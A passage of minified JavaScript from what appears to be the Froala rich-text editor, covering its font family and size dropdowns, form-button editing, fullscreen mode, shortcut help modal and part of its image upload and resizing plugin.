title="').concat(t[a],'">').concat(t[a],"</a></li>"));return e+="</ul>"},title:"Font Family",callback:function(e,t){this.fontFamily.apply(t)},refresh:function(e){this.fontFamily.refresh(e)},refreshOnShow:function(e,t){this.fontFamily.refreshOnShow(e,t)},plugin:"fontFamily"}),St.DefineIcon("fontFamily",{NAME:"font",SVG_KEY:"fontFamily"}),Object.assign(St.DEFAULTS,{fontSize:["8","9","10","11","12","14","18","24","30","36","48","60","72","96"],fontSizeSelection:!1,fontSizeDefaultSelection:"Font Size",fontSizeUnit:"px"}),St.PLUGINS.fontSize=function(n){var r=n.$;return{apply:function t(e){n.format.applyStyle("font-size",e)},refreshOnShow:function i(e,t){var a=r(n.selection.element()).css("font-size");"pt"===n.opts.fontSizeUnit&&(a="".concat(Math.round(72*parseFloat(a,10)/96),"pt")),t.find(".fr-command.fr-active").removeClass("fr-active").attr("aria-selected",!1),t.find('.fr-command[data-param1="'.concat(a,'"]')).addClass("fr-active").attr("aria-selected",!0)},refresh:function a(e){if(n.opts.fontSizeSelection){var t=n.helpers.getPX(r(n.selection.element()).css("font-size"));"pt"===n.opts.fontSizeUnit&&(t="".concat(Math.round(72*parseFloat(t,10)/96),"pt")),e.find("> span").text(t)}}}},St.RegisterCommand("fontSize",{type:"dropdown",title:"Font Size",displaySelection:function(e){return e.opts.fontSizeSelection},displaySelectionWidth:30,defaultSelection:function(e){return e.opts.fontSizeDefaultSelection},html:function(){for(var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.fontSize,a=0;a<t.length;a++){var n=t[a];e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="fontSize" data-param1="'.concat(n).concat(this.opts.fontSizeUnit,'" title="').concat(n,'">').concat(n,"</a></li>")}return e+="</ul>"},callback:function(e,t){this.fontSize.apply(t)},refresh:function(e){this.fontSize.refresh(e)},refreshOnShow:function(e,t){this.fontSize.refreshOnShow(e,t)},plugin:"fontSize"}),St.DefineIcon("fontSize",{NAME:"text-height",SVG_KEY:"fontSize"}),Object.assign(St.POPUP_TEMPLATES,{"forms.edit":"[_BUTTONS_]","forms.update":"[_BUTTONS_][_TEXT_LAYER_]"}),Object.assign(St.DEFAULTS,{formEditButtons:["inputStyle","inputEdit"],formStyles:{"fr-rounded":"Rounded","fr-large":"Large"},formMultipleStyles:!0,formUpdateButtons:["inputBack","|"]}),St.PLUGINS.forms=function(o){var s,l=o.$;function t(e){o.selection.clear(),l(this).data("mousedown",!0)}function a(e){l(this).data("mousedown")&&(e.stopPropagation(),l(this).removeData("mousedown"),d(s=this)),e.preventDefault()}function n(){o.$el.find("input, textarea, button").removeData("mousedown")}function r(){l(this).removeData("mousedown")}function c(){return s||null}function d(e){if(-1==["checkbox","radio"].indexOf(e.type)){var t=o.popups.get("forms.edit");t||(t=function i(){var e="";0<o.opts.formEditButtons.length&&(e='<div class="fr-buttons">'.concat(o.button.buildList(o.opts.formEditButtons),"</div>"));var t={buttons:e},a=o.popups.create("forms.edit",t);return o.$wp&&o.events.$on(o.$wp,"scroll.link-edit",function(){c()&&o.popups.isVisible("forms.edit")&&d(c())}),a}());var a=l(s=e);o.popups.refresh("forms.edit"),o.popups.setContainer("forms.edit",o.$sc);var n=a.offset().left+a.outerWidth()/2,r=a.offset().top+a.outerHeight();o.popups.show("forms.edit",n,r,a.outerHeight())}}function i(){var e=o.popups.get("forms.update"),t=c();if(t){var a=l(t);a.is("button")?e.find('input[type="text"][name="text"]').val(a.text()):a.is("input[type=button]")||a.is("input[type=submit]")||a.is("input[type=reset]")?e.find('input[type="text"][name="text"]').val(a.val()):e.find('input[type="text"][name="text"]').val(a.attr("placeholder"))}e.find('input[type="text"][name="text"]').trigger("change")}function f(){s=null}function p(e){if(e)return o.popups.onRefresh("forms.update",i),o.popups.onHide("forms.update",f),!0;var t="";1<=o.opts.formUpdateButtons.length&&(t='<div class="fr-buttons">'.concat(o.button.buildList(o.opts.formUpdateButtons),"</div>"));var a=0,n={buttons:t,text_layer:'<div class="fr-forms-text-layer fr-layer fr-active"> \n <div class="fr-input-line"><input name="text" type="text" placeholder="Text" tabIndex=" '.concat(++a,' "></div>\n <div class="fr-action-buttons"><button class="fr-command fr-submit" data-cmd="updateInput" href="#" tabIndex="').concat(2,'" type="button">').concat(o.language.translate("Update"),"</button></div></div>")};return o.popups.create("forms.update",n)}return{_init:function u(){!function e(){o.events.$on(o.$el,o._mousedown,"input, textarea, button",t),o.events.$on(o.$el,o._mouseup,"input, textarea, button",a),o.events.$on(o.$el,"touchmove","input, textarea, button",r),o.events.$on(o.$el,o._mouseup,n),o.events.$on(o.$win,o._mouseup,n),p(!0)}(),o.events.$on(o.$el,"submit","form",function(e){return e.preventDefault(),!1})},updateInput:function g(){var e=o.popups.get("forms.update"),t=c();if(t){var a=l(t),n=e.find('input[type="text"][name="text"]').val()||"";a.is("button")?n.length?a.text(n):a.text("\u200b"):-1!=["button","submit","reset"].indexOf(t.type)?a.attr("value",n):a.attr("placeholder",n),o.popups.hide("forms.update"),d(t)}},getInput:c,applyStyle:function h(e,t,a){void 0===t&&(t=o.opts.formStyles),void 0===a&&(a=o.opts.formMultipleStyles);var n=c();if(!n)return!1;if(!a){var r=Object.keys(t);r.splice(r.indexOf(e),1),l(n).removeClass(r.join(" "))}l(n).toggleClass(e)},showUpdatePopup:function m(){var e=c();if(e){var t=l(e),a=o.popups.get("forms.update");a||(a=p()),o.popups.isVisible("forms.update")||o.popups.refresh("forms.update"),o.popups.setContainer("forms.update",o.$sc);var n=t.offset().left+t.outerWidth()/2,r=t.offset().top+t.outerHeight();o.popups.show("forms.update",n,r,t.outerHeight())}},showEditPopup:d,back:function v(){o.events.disableBlur(),o.selection.restore(),o.events.enableBlur();var e=c();e&&o.$wp&&("BUTTON"===e.tagName&&o.selection.restore(),d(e))}}},St.RegisterCommand("updateInput",{undo:!1,focus:!1,title:"Update",callback:function(){this.forms.updateInput()}}),St.DefineIcon("inputStyle",{NAME:"magic",SVG_KEY:"inlineStyle"}),St.RegisterCommand("inputStyle",{title:"Style",type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list">',t=this.opts.formStyles;for(var a in t)t.hasOwnProperty(a)&&(e+='<li><a class="fr-command" tabIndex="-1" data-cmd="inputStyle" data-param1="'.concat(a,'">').concat(this.language.translate(t[a]),"</a></li>"));return e+="</ul>"},callback:function(e,t){var a=this.forms.getInput();a&&(this.forms.applyStyle(t),this.forms.showEditPopup(a))},refreshOnShow:function(e,t){var a=this.$,n=this.forms.getInput();if(n){var r=a(n);t.find(".fr-command").each(function(){var e=a(this).data("param1");a(this).toggleClass("fr-active",r.hasClass(e))})}}}),St.DefineIcon("inputEdit",{NAME:"edit",SVG_KEY:"edit"}),St.RegisterCommand("inputEdit",{title:"Edit Button",undo:!1,refreshAfterCallback:!1,callback:function(){this.forms.showUpdatePopup()}}),St.DefineIcon("inputBack",{NAME:"arrow-left",SVG_KEY:"back"}),St.RegisterCommand("inputBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.forms.back()}}),St.RegisterCommand("updateInput",{undo:!1,focus:!1,title:"Update",callback:function(){this.forms.updateInput()}}),St.PLUGINS.fullscreen=function(r){var t,a,n,i,o=r.$,s=function s(){return r.$box.hasClass("fr-fullscreen")};function l(){if(r.helpers.isIOS()&&r.core.hasFocus())return r.$el.blur(),setTimeout(d,250),!1;t=r.helpers.scrollTop(),r.opts.iframe&&r.markdown&&r.markdown.isEnabled()&&(r.$box=r.$oel),r.$box.toggleClass("fr-fullscreen"),o("body").first().toggleClass("fr-fullscreen"),r.helpers.isMobile()&&(r.opts.toolbarBottom?r.$tb[0].removeAttribute("style"):(r.$tb.data("parent",r.$tb.parent()),r.$box.prepend(r.$tb),r.$tb.data("sticky-dummy")&&r.$tb.after(r.$tb.data("sticky-dummy")))),a=r.opts.height,n=r.opts.heightMax,i=r.opts.zIndex,r.opts.height=r.o_win.innerHeight-(r.opts.toolbarInline?0:r.$tb.outerHeight()+(r.$second_tb?r.$second_tb.outerHeight():0)),r.opts.zIndex=2147483641,r.opts.heightMax=null,r.size.refresh(),r.opts.toolbarInline&&r.toolbar.showInline();for(var e=r.$box.parent();!e.first().is("body");)e.addClass("fr-fullscreen-wrapper"),e=e.parent();r.opts.toolbarContainer&&r.$box.prepend(r.$tb),r.events.trigger("charCounter.update"),r.events.trigger("codeView.update"),r.$win.trigger("scroll")}function c(){if(r.helpers.isIOS()&&r.core.hasFocus())return r.$el.blur(),setTimeout(d,250),!1;r.$box.toggleClass("fr-fullscreen"),o("body").first().toggleClass("fr-fullscreen"),r.$tb.data("parent")&&r.$tb.data("parent").prepend(r.$tb),r.$tb.data("sticky-dummy")&&r.$tb.after(r.$tb.data("sticky-dummy")),r.opts.height=a,r.opts.heightMax=n,r.opts.zIndex=i,r.size.refresh(),r.o_win.scroll(0,t),r.opts.toolbarInline&&r.toolbar.showInline(),r.events.trigger("charCounter.update"),r.opts.toolbarSticky&&r.opts.toolbarStickyOffset&&(r.opts.toolbarBottom?r.$tb.css("bottom",r.opts.toolbarStickyOffset).data("bottom",r.opts.toolbarStickyOffset):r.$tb.css("top",r.opts.toolbarStickyOffset).data("top",r.opts.toolbarStickyOffset));for(var e=r.$box.parent();!e.first().is("body");)e.removeClass("fr-fullscreen-wrapper"),e=e.parent();r.opts.toolbarContainer&&o(r.opts.toolbarContainer).append(r.$tb),o(r.o_win).trigger("scroll"),r.events.trigger("codeView.update")}function d(){s()?c():l(),f(r.$tb.find('.fr-command[data-cmd="fullscreen"]'));var e=r.$tb.find('.fr-command[data-cmd="moreText"]'),t=r.$tb.find('.fr-command[data-cmd="moreParagraph"]'),a=r.$tb.find('.fr-command[data-cmd="moreRich"]'),n=r.$tb.find('.fr-command[data-cmd="moreMisc"]');e.length&&r.refresh.moreText(e),t.length&&r.refresh.moreParagraph(t),a.length&&r.refresh.moreRich(a),n.length&&r.refresh.moreMisc(n)}function f(e){var t=s();e.toggleClass("fr-active",t).attr("aria-pressed",t),e.find("> *").not(".fr-sr-only").replaceWith(t?r.icon.create("fullscreenCompress"):r.icon.create("fullscreen"))}return{_init:function e(){if(!r.$wp)return!1;r.events.$on(o(r.o_win),"resize",function(){s()&&(c(),l())}),r.events.on("toolbar.hide",function(){if(s()&&r.helpers.isMobile())return!1}),r.events.on("position.refresh",function(){if(r.helpers.isIOS())return!s()}),r.events.on("destroy",function(){s()&&c()},!0)},toggle:d,refresh:f,isActive:s}},St.RegisterCommand("fullscreen",{title:"Fullscreen",undo:!1,focus:!1,accessibilityFocus:!0,forcedRefresh:!0,toggle:!0,callback:function(){this.fullscreen.toggle()},refresh:function(e){this.fullscreen.refresh(e)},plugin:"fullscreen"}),St.DefineIcon("fullscreen",{NAME:"expand",SVG_KEY:"fullscreen"}),St.DefineIcon("fullscreenCompress",{NAME:"compress",SVG_KEY:"exitFullscreen"}),Object.assign(St.DEFAULTS,{helpSets:[{title:"Inline Editor",commands:[{val:"OSkeyE",desc:"Show the editor"}]},{title:"Common actions",commands:[{val:"OSkeyC",desc:"Copy"},{val:"OSkeyX",desc:"Cut"},{val:"OSkeyV",desc:"Paste"},{val:"OSkeyZ",desc:"Undo"},{val:"OSkeyShift+Z",desc:"Redo"},{val:"OSkeyK",desc:"Insert Link"},{val:"OSkeyP",desc:"Insert Image"}]},{title:"Basic Formatting",commands:[{val:"OSkeyA",desc:"Select All"},{val:"OSkeyB",desc:"Bold"},{val:"OSkeyI",desc:"Italic"},{val:"OSkeyU",desc:"Underline"},{val:"OSkeyS",desc:"Strikethrough"},{val:"OSkey]",desc:"Increase Indent"},{val:"OSkey[",desc:"Decrease Indent"}]},{title:"Quote",commands:[{val:"OSkey'",desc:"Increase quote level"},{val:"OSkeyShift+'",desc:"Decrease quote level"}]},{title:"Image / Video",commands:[{val:"OSkey+",desc:"Resize larger"},{val:"OSkey-",desc:"Resize smaller"}]},{title:"Table",commands:[{val:"Alt+Space",desc:"Select table cell"},{val:"Shift+Left/Right arrow",desc:"Extend selection one cell"},{val:"Shift+Up/Down arrow",desc:"Extend selection one row"}]},{title:"Navigation",commands:[{val:"OSkey/",desc:"Shortcuts"},{val:"Alt+F10",desc:"Focus popup / toolbar"},{val:"Esc",desc:"Return focus to previous position"}]}]}),St.PLUGINS.help=function(s){var n,r=s.$,i="help";return{_init:function e(){},show:function l(){if(!n){var e="<h4>".concat(s.language.translate("Shortcuts"),"</h4>"),t=function o(){for(var e='<div class="fr-help-modal">',t=0;t<s.opts.helpSets.length;t++){var a=s.opts.helpSets[t],n="<table>";n+="<thead><tr><th>".concat(s.language.translate(a.title),"</th></tr></thead>"),n+="<tbody>";for(var r=0;r<a.commands.length;r++){var i=a.commands[r];n+="<tr>",n+="<td>".concat(s.language.translate(i.desc),"</td>"),n+="<td>".concat(i.val.replace("OSkey",s.helpers.isMac()?"⌘":"Ctrl+"),"</td>"),n+="</tr>"}e+=n+="</tbody></table>"}return e+="</div>"}(),a=s.modals.create(i,e,t);n=a.$modal,s.events.$on(r(s.o_win),"resize",function(){s.modals.resize(i)})}s.modals.show(i),s.modals.resize(i)},hide:function t(){s.modals.hide(i)}}},St.DefineIcon("help",{NAME:"question",SVG_KEY:"help"}),St.RegisterShortcut(St.KEYCODE.SLASH,"help",null,"/"),St.RegisterCommand("help",{title:"Help",icon:"help",undo:!1,focus:!1,modal:!0,callback:function(){this.help.show()},plugin:"help",showOnMobile:!1}),Object.assign(St.POPUP_TEMPLATES,{"image.insert":"[_BUTTONS_][_UPLOAD_LAYER_][_BY_URL_LAYER_][_PROGRESS_BAR_]","image.edit":"[_BUTTONS_]","image.alt":"[_BUTTONS_][_ALT_LAYER_]","image.size":"[_BUTTONS_][_SIZE_LAYER_]"}),Object.assign(St.DEFAULTS,{imageInsertButtons:["imageBack","|","imageUpload","imageByURL"],imageEditButtons:["imageReplace","imageAlign","imageCaption","imageRemove","imageLink","linkOpen","linkEdit","linkRemove","-","imageDisplay","imageStyle","imageAlt","imageSize"],imageAltButtons:["imageBack","|"],imageSizeButtons:["imageBack","|"],imageUpload:!0,imageUploadURL:null,imageCORSProxy:"https://cors-anywhere.froala.com",imageUploadRemoteUrls:!0,imageUploadParam:"file",imageUploadParams:{},imageUploadToS3:!1,imageUploadToAzure:!1,imageUploadMethod:"POST",imageMaxSize:10485760,imageAllowedTypes:["jpeg","jpg","png","gif","webp"],imageResize:!0,imageResizeWithPercent:!1,imageRoundPercent:!1,imageDefaultWidth:300,imageDefaultAlign:"center",imageDefaultDisplay:"block",imageSplitHTML:!1,imageStyles:{"fr-rounded":"Rounded","fr-bordered":"Bordered","fr-shadow":"Shadow"},imageMove:!0,imageMultipleStyles:!0,imageTextNear:!0,imagePaste:!0,imagePasteProcess:!1,imageMinWidth:16,imageOutputSize:!1,imageDefaultMargin:5,imageAddNewLine:!1}),St.IMAGE_ALLOW_REGEX=/\.(gif|jpe?g|tiff?|png|webp|bmp)$/i,St.PLUGINS.image=function(w){var y,c,d,f,s,a,A=w.$,C="https://i.froala.com/upload",t=!1,n=1,p=2,u=3,g=4,T=5,k=6,r={};function h(){var e=w.popups.get("image.insert").find(".fr-image-by-url-layer input");e.val(""),y&&e.val(y.attr("src")),e.trigger("change")}function o(e){return window.pageYOffset+e.get(0).getBoundingClientRect().top}function i(){var e=w.popups.get("image.edit");if(e||(e=O()),e){var t=y;w.popups.setContainer("image.edit",w.$sc),w.popups.refresh("image.edit");var a=t.offset().left+t.outerWidth()/2,n=t&&o(t),r=w.$wp&&o(w.$wp);r||(r=n);var i=0;w.opts.iframe?((i=w.$wp.scrollTop()+e.outerHeight())<t.get(0).getBoundingClientRect().top&&(i=t.get(0).getBoundingClientRect().top),i>t.get(0).getBoundingClientRect().top+t.height()&&(i=t.get(0).getBoundingClientRect().top+t.height())):i=r<n?n:w.$wp&&n+t.height()<r+w.$wp.height()?n+t.height():r+e.outerHeight(),y.hasClass("fr-uploading")?F():w.popups.show("image.edit",a,i,1,!0)}}function m(){M()}function l(e){0<e.parents(".fr-img-caption").length&&(e=e.parents(".fr-img-caption").first());var t=e.hasClass("fr-dib")?"block":e.hasClass("fr-dii")?"inline":null,a=e.hasClass("fr-fil")?"left":e.hasClass("fr-fir")?"right":ve(e);me(e,t,a),e.removeClass("fr-dib fr-dii fr-fir fr-fil")}function v(){for(var e,t="IMG"==w.el.tagName?[w.el]:w.el.querySelectorAll("img"),a=0;a<t.length;a++){var n=A(t[a]);!w.opts.htmlUntouched&&w.opts.useClasses?((w.opts.imageDefaultAlign||w.opts.imageDefaultDisplay)&&(0<(e=n).parents(".fr-img-caption").length&&(e=e.parents(".fr-img-caption").first()),e.hasClass("fr-dii")||e.hasClass("fr-dib")||(e.addClass("fr-fi".concat(ve(e)[0])),e.addClass("fr-di".concat(be(e)[0])),e.css("margin",""),e.css("float",""),e.css("display",""),e.css("z-index",""),e.css("position",""),e.css("overflow",""),e.css("vertical-align",""))),w.opts.imageTextNear||(0<n.parents(".fr-img-caption").length?n.parents(".fr-img-caption").first().removeClass("fr-dii").addClass("fr-dib"):n.removeClass("fr-dii").addClass("fr-dib"))):w.opts.htmlUntouched||w.opts.useClasses||(w.opts.imageDefaultAlign||w.opts.imageDefaultDisplay)&&l(n),w.opts.iframe&&n.on("load",w.size.syncIframe)}}function b(e){void 0===e&&(e=!0);var t,a=Array.prototype.slice.call(w.el.querySelectorAll("img")),n=[];for(t=0;t<a.length;t++)if(n.push(a[t].getAttribute("src")),A(a[t]).toggleClass("fr-draggable",w.opts.imageMove),""===a[t].getAttribute("class")&&a[t].removeAttribute("class"),""===a[t].getAttribute("style")&&a[t].removeAttribute("style"),a[t].parentNode&&a[t].parentNode.parentNode&&w.node.hasClass(a[t].parentNode.parentNode,"fr-img-caption")){var r=a[t].parentNode.parentNode;w.browser.mozilla||r.setAttribute("contenteditable",!1),r.setAttribute("draggable",!1),r.classList.add("fr-draggable");var i=a[t].nextSibling;i&&!w.browser.mozilla&&i.setAttribute("contenteditable",!0)}if(s)for(t=0;t<s.length;t++)n.indexOf(s[t].getAttribute("src"))<0&&w.events.trigger("image.removed",[A(s[t])]);if(s&&e){var o=[];for(t=0;t<s.length;t++)o.push(s[t].getAttribute("src"));for(t=0;t<a.length;t++)o.indexOf(a[t].getAttribute("src"))<0&&w.events.trigger("image.loaded",[A(a[t])])}s=a}function S(){if(c||function o(){var e;w.shared.$image_resizer?(c=w.shared.$image_resizer,f=w.shared.$img_overlay,w.events.on("destroy",function(){A("body").first().append(c.removeClass("fr-active"))},!0)):(w.shared.$image_resizer=A(document.createElement("div")).attr("class","fr-image-resizer"),c=w.shared.$image_resizer,w.events.$on(c,"mousedown",function(e){e.stopPropagation()},!0),w.opts.imageResize&&(c.append(E("nw")+E("ne")+E("sw")+E("se")),w.shared.$img_overlay=A(document.createElement("div")).attr("class","fr-image-overlay"),f=w.shared.$img_overlay,e=c.get(0).ownerDocument,A(e).find("body").first().append(f)));w.events.on("shared.destroy",function(){c.html("").removeData().remove(),c=null,w.opts.imageResize&&(f.remove(),f=null)},!0),w.helpers.isMobile()||w.events.$on(A(w.o_win),"resize",function(){y&&!y.hasClass("fr-uploading")?pe(!0):y&&(S(),Ee(),F(!1))});if(w.opts.imageResize){e=c.get(0).ownerDocument,w.events.$on(c,w._mousedown,".fr-handler",R),w.events.$on(A(e),w._mousemove,L),w.events.$on(A(e.defaultView||e.parentWindow),w._mouseup,x),w.events.$on(f,"mouseleave",x);var n=1,r=null,i=0;w.events.on("keydown",function(e){if(y){var t=-1!=navigator.userAgent.indexOf("Mac OS X")?e.metaKey:e.ctrlKey,a=e.which;(a!==r||200<e.timeStamp-i)&&(n=1),(a==St.KEYCODE.EQUALS||w.browser.mozilla&&a==St.KEYCODE.FF_EQUALS)&&t&&!e.altKey?n=te.call(this,e,1,1,n):(a==St.KEYCODE.HYPHEN||w.browser.mozilla&&a==St.KEYCODE.FF_HYPHEN)&&t&&!e.altKey?n=te.call(this,e,2,-1,n):w.keys.ctrlKey(e)||a!=St.KEYCODE.ENTER||(y.before("<br>"),P(y)),r=a,i=e.timeStamp}},!0),w.events.on("keyup",function(){n=1})}}(),!y)return!1;var e=w.$wp||w.$sc;e.append(c),c.data("instance",w);var t=e.scrollTop()-("static"!=e.css("position")?e.offset().top:0),a=e.scrollLeft()-("static"!=e.css("position")?e.offset().left:0);a-=w.helpers.getPX(e.css("border-left-width")),t-=w.helpers.getPX(e.css("border-top-width")),w.$el.is("img")&&w.$sc.is("body")&&(a=t=0);var n=ye();Ae()&&(n=n.find(".fr-img-wrap"));var r=0,i=0;w.opts.iframe&&(r=w.helpers.getPX(w.$wp.find(".fr-iframe").css("padding-top")),i=w.helpers.getPX(w.$wp.find(".fr-iframe").css("padding-left"))),c.css("top",(w.opts.iframe?n.offset().top+r:n.offset().top+t)-1).css("left",(w.opts.iframe?n.offset().left+i:n.offset().left+a)-1).css("width",n.get(0).getBoundingClientRect().width).css("height",n.get(0).getBoundingClientRect().height).addClass("fr-active")}function E(e){return'<div class="fr-handler fr-h'.concat(e,'"></div>')}function _(e){Ae()&&y.parents(".fr-img-caption").css("width",e),y.css("width",e)}function R(e){if(!w.core.sameInstance(c))return!0;if(e.preventDefault(),e.stopPropagation(),w.$el.find("img.fr-error").left)return!1;w.undo.canDo()||w.undo.saveStep();var t=e.pageX||e.originalEvent.touches[0].pageX;if("mousedown"==e.type){var a=w.$oel.get(0),n=a.ownerDocument,r=n.defaultView||n.parentWindow,i=!1;try{i=r.location!=r.parent.location&&!(r.$&&r.$.FE)}catch(l){}i&&r.frameElement&&(t+=w.helpers.getPX(A(a).offset().left)+r.frameElement.clientLeft)}(d=A(this)).data("start-x",t),d.data("start-width",y.width()),d.data("start-height",y.height());var o=y.width();if(w.opts.imageResizeWithPercent){var s=y.parentsUntil(w.$el,w.html.blockTagsQuery()).get(0)||w.el;o=(o/A(s).outerWidth()*100).toFixed(2)+"%"}_(o),f.show(),w.popups.hideAll(),he()}function L(e){if(!w.core.sameInstance(c))return!0;var t;if(d&&y){if(e.preventDefault(),w.$el.find("img.fr-error").left)return!1;var a=e.pageX||(e.originalEvent.touches?e.originalEvent.touches[0].pageX:null);if(!a)return!1;var n=a-d.data("start-x"),r=d.data("start-width");if((d.hasClass("fr-hnw")||d.hasClass("fr-hsw"))&&(n=0-n),w.opts.imageResizeWithPercent){var i=y.parentsUntil(w.$el,w.html.blockTagsQuery()).get(0)||w.el;r=((r+n)/A(i).outerWidth()*100).toFixed(2),w.opts.imageRoundPercent&&(r=Math.round(r)),_("".concat(r,"%")),(t=Ae()?(w.helpers.getPX(y.parents(".fr-img-caption").css("width"))/A(i).outerWidth()*100).toFixed(2):(w.helpers.getPX(y.css("width"))/A(i).outerWidth()*100).toFixed(2))===r||w.opts.imageRoundPercent||_("".concat(t,"%")),y.css("height","").removeAttr("height")}else r+n>=w.opts.imageMinWidth&&(_(r+n),t=Ae()?w.helpers.getPX(y.parents(".fr-img-caption").css("width")):w.helpers.getPX(y.css("width"))),t!==r+n&&_(t),((y.attr("style")||"").match(/(^height:)|(; *height:)/)||y.attr("height"))&&(y.css("height",d.data("start-height")*y.width()/d.data("start-width")),y.removeAttr("height"));S(),w.events.trigger("image.resize",[we()])}}function x(e){if(!w.core.sameInstance(c))return!0;if(d&&y){if(e&&e.stopPropagation(),w.$el.find("img.fr-error").left)return!1;d=null,f.hide(),S(),i(),w.undo.saveStep(),w.events.trigger("image.resizeEnd",[we()])}else c.removeClass("fr-active")}function I(e,t,a){w.edit.on(),y&&y.addClass("fr-error"),r[e]?N(w.language.translate(r[e])):N(w.language.translate("Something went wrong. Please try again.")),!y&&a&&ae(a),w.events.trigger("image.error",[{code:e,message:r[e]},t,a])}function O(e){if(e)return w.$wp&&w.events.$on(w.$wp,"scroll.image-edit",function(){y&&w.popups.isVisible("image.edit")&&(w.events.disableBlur(),i())}),!0;var t="";if(0<w.opts.imageEditButtons.length){var a={buttons:t+='<div class="fr-buttons">\n '.concat(w.button.buildList(w.opts.imageEditButtons),"\n </div>")};return w.popups.create("image.edit",a)}return!1}function F(e){var t=w.popups.get("image.insert");if(t||(t=j()),t.find(".fr-layer.fr-active").removeClass("fr-active").addClass("fr-pactive"),t.find(".fr-image-progress-bar-layer").addClass("fr-active"),t.find(".fr-buttons").hide(),y){var a=ye();w.popups.setContainer("image.insert",w.$sc);var n=a.offset().left,r=a.offset().top+a.height();w.popups.show("image.insert",n,r,a.outerHeight())}void 0===e&&D(w.language.translate("Uploading"),0)}function M(e){var t=w.popups.get("image.insert");if(t&&(t.find(".fr-layer.fr-pactive").addClass("fr-active").removeClass("fr-pactive"),t.find(".fr-image-progress-bar-layer").removeClass("fr-active"),t.find(".fr-buttons").show(),e||w.$el.find("img.fr-error").length)){if(w.events.focus(),w.$el.find("img.fr-error").length&&(w.$el.find("img.fr-error").remove(),w.undo.saveStep(),w.undo.run(),w.undo.dropRedo()),!w.$wp&&y){var a=y;pe(!0),w.selection.setAfter(a.get(0)),w.selection.restore()}w.popups.hide("image.insert")}}function D(e,t){var a=w.popups.get("image.insert");if(a){var n=a.find(".fr-image-progress-bar-layer");n.find("h3").text(e+(t?" ".concat(t,"%"):"")),n.removeClass("fr-error"),t?(n.find("div").removeClass("fr-indeterminate"),n.find("div > span").css("width","".concat(t,"%"))):n.find("div").addClass("fr-indeterminate")}}function N(e){F();var t=w.popups.get("image.insert").find(".fr-image-progress-bar-layer");t.addClass("fr-error");var a=t.find("h3");a.text(e),w.events.disableBlur(),a.focus()}function P(e){fe.call(e.get(0))}function B(){var e=A(this);w.popups.hide("image.insert"),e.removeClass("fr-uploading"),e.next().is("br")&&e.next().remove(),P(e),w.events.trigger("image.loaded",[e])}function U(o,e,s,l,c){l&&"string"==typeof l&&(l=w.$(l)),w.edit.off(),D(w.language.translate("Loading image")),e&&(o=w.helpers.sanitizeURL(o));var t=new Image;t.onload=function(){var e,t;if(l){w.undo.canDo()||l.hasClass("fr-uploading")||w.undo.saveStep();var a=l.data("fr-old-src");l.data("fr-image-pasted")&&(a=null),w.$wp?((e=l.clone().removeData("fr-old-src").removeClass("fr-uploading").removeAttr("data-fr-image-pasted")).off("load"),a&&l.attr("src",a),!w.opts.trackChangesEnabled||l[0].parentNode&&"SPAN"===l[0].parentNode.tagName&&l[0].parentNode.hasAttribute("data-tracking")||w.track_changes.replaceSpecialItem(l),l.replaceWith(e)):e=l;for(var n=e.get(0).attributes,r=0;r<n.length;r++){var i=n[r];0===i.nodeName.indexOf("data-")?e.removeAttr(i.nodeName):s&&s.hasOwnProperty(i.nodeName)&&e.removeAttr(i.nodeName)}if(void 0!==s)for(t in s)s.hasOwnProperty(t)&&"link"!=t&&e.attr("".concat(t),s[t]);e.on("load",B),e.attr("src",o),w.edit.on(),b(!1),l[0].src!=o&&w.selection.restore(),w.undo.saveStep(),w.events.disableBlur(),w.$el.blur(),w.events.trigger(a?"image.replaced":"image.inserted",[e,c])}else(e=K(o,s,B))&&(b(!1),w.undo.saveStep(),w.events.disableBlur(),w.$el.blur(),w.events.trigger("image.inserted",[e,c]))},t.onerror=function(){I(n)},F(w.language.translate("Loading image")),t.src=o}function H(e,t,a){D(w.language.translate("Loading image"));var n=this.status,r=this.response,i=this.responseXML,o=this.responseText;try{if(w.opts.imageUploadToS3||w.opts.imageUploadToAzure)if(201==n){var s;if(w.opts.imageUploadToAzure){if(!1===w.events.trigger("image.uploadedToAzure",[this.responseURL,a,r],!0))return w.edit.on(),!1;s=t}else s=function c(e){try{var t=A(e).find("Location").text(),a=A(e).find("Key").text();return!1===w.events.trigger("image.uploadedToS3",[t,a,e],!0)?(w.edit.on(),!1):t}catch(n){return I(g,e),!1}}(i);s&&U(s,!1,[],e,r||i)}else I(g,r||i,e);else if(200<=n&&n<300){var l=function d(e){try{if(!1===w.events.trigger("image.uploaded",[e],!0))return w.edit.on(),!1;var t=JSON.parse(e);return t.link?t:(I(p,e),!1)}catch(a){return I(g,e),!1}}(o);l&&U(l.link,!1,l,e,r||o)}else I(u,r||o,e)}catch(f){I(g,r||o,e)}}function $(){I(g,this.response||this.responseText||this.responseXML)}function z(e){if(e.lengthComputable){var t=e.loaded/e.total*100|0;D(w.language.translate("Uploading"),t)}}function K(e,t,a){var n,r=A(document.createElement("img")).attr("src",e);if(t&&void 0!==t)for(n in t)t.hasOwnProperty(n)&&"link"!=n&&(" data-".concat(n,'="').concat(t[n],'"'),r.attr("".concat(n),t[n]));var i=w.opts.imageDefaultWidth;i&&"auto"!=i&&(i=w.opts.imageResizeWithPercent?"100%":"".concat(i,"px")),r.attr("style",i?"width: ".concat(i,";"):""),me(r,w.opts.imageDefaultDisplay,w.opts.imageDefaultAlign),r.on("load",a),r.on("error",a),w.edit.on(),w.events.focus(!0),w.selection.restore(),w.undo.saveStep(),w.opts.imageSplitHTML?w.markers.split():w.markers.insert(),w.html.wrap();var o=w.$el.find(".fr-marker");if(o.length)(o.parent().is("hr")||o.parent().is("IMG"))&&o.parent().after(o),w.node.isLastSibling(o)&&o.parent().hasClass("fr-deletable")&&o.insertAfter(o.parent()),o.replaceWith(r);else{if(w.opts.trackChangesEnabled)return M(!0),!1;w.$el.append(r)}return w.selection.clear(),r}function W(){w.edit.on(),M(!0)}function G(e,t){if(void 0!==e&&0<e.length){if(!1===w.events.trigger("image.beforeUpload",[e,t]))return!1;var a,n=e[0];if(!(null!==w.opts.imageUploadURL&&w.opts.imageUploadURL!=C||w.opts.imageUploadToS3||w.opts.imageUploadToAzure))return function E(r,i){var o=new FileReader;o.onload=function(){var e=o.result;if(o.result.indexOf("svg+xml")<0){for(var 